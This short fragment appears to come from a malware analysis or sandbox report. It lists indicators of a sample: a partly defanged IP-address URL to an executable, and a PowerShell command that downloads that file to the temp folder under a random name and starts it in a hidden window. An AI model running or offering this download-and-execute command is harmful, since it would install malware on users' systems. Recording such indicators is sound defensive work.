Technical Information
- http://17#.#04.40.92/js/c.exe as %temp%\aeifugaigf.exe
- http://17#.#04.40.92/js/c.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' (New-Object System.Net.WebClient).DownloadFile('http://17#.#04.40.92/js/c.exe','%TEMP%\aeifugaigf.exe');Start-Process '%TEMP%\aeifugaigf.exe'' (with hidden window)